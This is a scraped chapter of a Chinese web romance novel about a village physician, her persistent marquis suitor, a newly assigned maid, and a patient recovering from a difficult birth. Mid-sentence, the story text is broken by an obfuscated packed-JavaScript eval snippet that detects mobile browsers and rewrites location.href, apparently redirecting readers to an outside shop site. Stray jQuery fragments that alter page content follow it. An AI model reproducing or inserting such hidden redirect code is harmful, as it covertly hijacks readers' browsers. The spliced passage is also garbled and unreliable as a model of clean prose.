32. 第三十二章

作品:《温柔医娘驯疯侯

    栗岫云垂首无奈:“不管你是什么样的人,我们之间的身份差距,都不会改变。”


    “谁说的?”季衡驳斥道。


    还用得着别人几次三番提醒吗?这可是封建时代,没有人人平等。


    “一个侯爷,还是御前红人,一个乡野医女,父母俱亡,这是不争的事实。何需旁人言明,我自有自知之明。”


    “我不想和你讨论身份的问题。”他的语气变得十分强硬,“这个爵位于我而言,有也好,无也罢,没有差别,如果因为它,让你拒绝我,那不要也罢。”


    栗岫云惊诧。


    那是多少人终其一生想得到的权势与富贵,现在说得轻巧,真要削爵,他还能这么大口气?


    不对,他这个坚决的眼神,没准还真做得出来。


    他又靠了上来,温柔的握住她的肩膀。


    “云儿,别急着拒绝我,你好好看看我,认真的仔细的看看,当真对我没有半点情意吗?”


    情意自然是没有的。


    可是,他这灼灼的眼神,这渴望她给予回应的神情,都轻柔却异常清晰的触动她内心。


    一个人,真能痴情到如此地步吗?


    是他天性就这么执拗,还是她辛苦耕耘的果实?


    如果是后者,栗岫云觉着,自己是个小偷。


    “没有。”


    意料之中的暴怒没有降临。他反而抬手,小心翼翼地捧起她的脸,眼中星光再次倾泻下。


    “没关系,我说过了,我们从头再来。”


    “怎么从头再来?”


    “给我三个月的时间。”他俯身,额头几乎要抵上她的,“若三个月后,你还是不能接受我,那就……再给我三个月。”


    这算什么提议?简直等于没说。


    栗岫云忍不住轻蔑一笑,偏头躲开他的靠近:“你这是在作弊。”


    “那你,答应还是不答应?”他非但不退,反而凑得更近了。


    栗岫云躲开他的手,再次背身对着窗户。


    就他这性子,只怕又要痴缠。


    三个月,不,不需要三个月,一个月就够了,让他死心离开。


    “好,我答应你。”


    季衡一激动,又抱住了她。


    他曾经做到的事,现在也能再次做到,上一次匆匆忙忙,这一次,他有足够的时间。


    他可以慢慢来。


    怀里人推他:“那绿珮,还是带回去吧?”


    “那不行,这件事,你不必介怀,尽管使唤她便是。”


    栗岫云不再说话,任由他抱着。


    季衡紧了紧手臂,感觉她的肩背紧紧贴在心口,软软的,既温暖又踏实。


    啊……好想索要更多。


    栗岫云望着窗外朦胧月影下的疏枝,本想暂且纵容他抱这片刻。


    哪知耳边的呼吸渐渐变得粗重,他的脸颊开始轻轻蹭着她的颈窝,放在她腰上的手,也越发不安分起来。


    “唔!”


    栗岫云狠狠踩了他一脚。


    这次再怎么装可怜卖乖也没用,她抓起斗柜上的外衣,狠狠扔到他身上,连推带搡地将人撵了出去。


    吧嗒一声关上门:“侯爷,时候不早了,我要睡了,您请回吧。”


    ……


    绿珮起得比青青还早。


    她是在堂屋里打地铺的,栗岫云多少有点愧疚,想了想,今天还是让她和自己睡吧。


    栗岫云刚把衣服穿好,绿珮已经端来洗脸水、刷牙的鬃毛刷,伺候她洗漱完毕,又在梳妆台前坐定,开始梳理她的长发。


    “我自己来就好。”栗岫云想拿过木梳子。


    “夫人不喜欢这个发式?”绿珮耷着眼问道。


    “不是。”栗岫云再次伸手,“还有,不要叫我夫人,把梳子给我吧。”


    绿珮倒不犟嘴,只是也不停下手上的动作,浅笑吟吟:“娘子今日可要去周府看诊?那奴婢便梳个简单的发髻,不簪钗环,可好?”


    她手上极为麻利,和平日栗岫云自己弄得团子头不同,既整齐又简约,衬得人很是干净利落。


    就这样,绿珮还谦虚:“奴婢并非专事梳头,手艺粗糙,望娘子莫见怪。”


    她一口一个奴婢,听得栗岫云好不自在,便问:“你多大年纪了?”


    “回娘子,奴婢十五了。待端午过后,便满十六了。”


    好小的年纪。


    栗岫云轻叹一声:“不必自称奴婢,你跟着青青一样,叫我姐姐就好。”


    绿珮收起梳子,忽然敛了笑,对着镜子里的她福了福身:“这可使不得。奴婢既是侯府中人,若因娘子宽和,便乱了尊卑规矩,侯爷知道了,定要严惩奴婢的。”


    看来他在家里也横得很,下人这么怕他。


    栗岫云心中微动,忍不住好奇:“你伺候他,很久了吗?”


    绿珮摇摇头:“奴婢本是定国公府的二等丫鬟,因侯爷府中无人,国公夫人特差派来伺候,也不过一年罢了。”


    定国公?单听这个封号都了不得,能送丫鬟来,两家关系定然匪浅。


    果然,不是她这样的草民所能沾染的门第。


    绿珮小心瞅了她一眼,脸色倏然一变,急忙补充道:“娘子放心!奴婢平日只管侯府的小厨房,且侯爷常年在外当差,并不常在府中居住,奴婢从未近身伺候过侯爷!”


    为什么特意解释这点?


    她是不是误会了什么?


    不过栗岫云也懒得解释,过不了多久,绿珮自然就知道了。


    早饭很丰盛,不仅有小米粥,还有炊饼、小炒肉、清炒菜心。看着不起眼,味道却很可口。


    有人照顾就是好啊。


    不对,不好不好,富贵不能淫,贫贱不能移,可不能因此消磨斗志。


    吃完饭,她开始忙起来。


    严秋娘这次接生,让她发觉,现在的几样器具用得还是不趁手。


    她依照以前器具的模样,画了图纸,准备拿去铁匠铺试试能不能做出来。


    精度肯定比不上,但起码得比现在的好用才行。


    栗岫云在画图,绿珮就在一旁安静研墨,研好了,又继续做针线活。


    午后,她便去周府别院看望严秋娘。


    栗岫云到的时候,她正在喝苹果红枣汤,伤口愈合还不错,精神也比头两日好了许多。


    她埋怨道:“栗娘子,昨日夫君来看我,问我这伤口会否留疤,你说他,人都险些没了,却还关心这个。”


    栗岫云替她诊了脉,又笑着安慰:“少夫人放心。虽会留一点浅疤,但时日一长,便会慢慢淡去,绝不会影响日后的夫妻同房。”


    严秋娘的脸瞬间红透,啐了一口:“左右我已经生下了嫡子,也算对得起胡严两家列


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031190|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祖列宗了。往后我是再也不想生了。等身子养好了,便给他纳几房妾室,随他折腾去。”


    听话头,似乎对这位夫君不满。


    又想起那位尖酸刻薄的婆婆,这个媳妇的日子,恐怕也不好过。


    别人家的私事,出于礼貌不该打听,栗岫云也不感兴趣。


    给严秋娘清理伤口时,她又问道:“栗娘子只在这县城做事吗?依我瞧,你这样细致入微,该去京城才是。”


    “京城繁华,要不是因这机缘巧合,我死乞白赖要接生,只怕少夫人看都不会看我一眼。”栗岫云自我打趣道。


    严秋娘不以为然:“不会,栗娘子生得温和,我一看你就亲切。”


    她颇为感慨:“你也见着了我那位婆母,自打进门,就没一日好脸色,生产那日,她在外头的骂话我都听见了,我当时只觉得,生下这孩子,便不算辜负两家联姻之意,随他们折腾去。”


    言下之意,当时已有了赴死之心。


    栗岫云心头一沉。


    她继续道,眼眶也泛了红:“若不是祖母和你真心惦记我,一直鼓励我,又想着母亲,我真是……”


    栗岫云反握其手,温声劝慰:“少夫人,都过去了,现在养好身子最重要。”


    严秋娘揩了一下眼角,破涕为笑:“你说得对,都过去了。”


    说罢,又招呼丫鬟送了赏钱,客客气气把栗岫云送出院去。


    离开别院,栗岫云直接去了铁匠铺,铁匠看了图纸,拍着胸脯说能做出来,让她明日来取。


    随后,她才回了小院,甫一进院,就怔住了。


    院里不只有绿珮,连苗三妹也在,两人对着一个虎头帽认真研究着。


    这两人,怎么忽然亲厚上了?


    见她回来,绿珮即刻端来凳子给她坐,又端上一杯热茶。


    栗岫云照例问了些苗三妹吃食、胎动情况。


    今天的苗三妹却有些不对劲,脸上洋溢着客气的笑容,客气到甚至有些讨好的意味。


    答话也是敷衍的,匆匆忙忙说完,就急切的进入了下一个话题:“栗娘子,从前竟不知你有这样厉害的未婚夫,是我唐突了。”


    栗岫云笑容瞬间僵住。


    未婚夫?


    她转头看向一旁的绿珮,用眼神质问,你跟人胡说八道些什么?


    绿珮却只是讪讪笑。


    苗三妹只当她是害羞,毫不介意的继续笑道:“前日你不在,大郎下值回来后,你那位郎君来过了,还送了好些糕点和茶叶,让我们多看顾你呢。”


    什么?


    难怪她这一脸谄媚讨好的笑,堂堂平南侯登门拜访,可不得好生得意一番。


    可这样岂不是昭告天下了吗?要是传了出去,人人都道她是平南侯夫人,谁还敢找她看病啊?


    亏他还假模假样说给他三个月,根本就是个骗子!


    在苗三妹和绿珮面前,她不好发脾气,强撑着笑脸端起茶喝了半杯,愣是压不下心头火气。


    苗三妹掩嘴呵呵直笑,打了一下她的胳膊:“你前儿还夸我好福气,我瞧着,你才是真的好福气,郎君生得那样俊俏威武,又在州衙当差,你又有手艺,以后打门前过,可不许装不认得我。”


    栗岫云合上茶盏:“什么?州衙当差?”


    苗三妹眉毛一扬:“对呀,你不知道么,在州衙当团练。”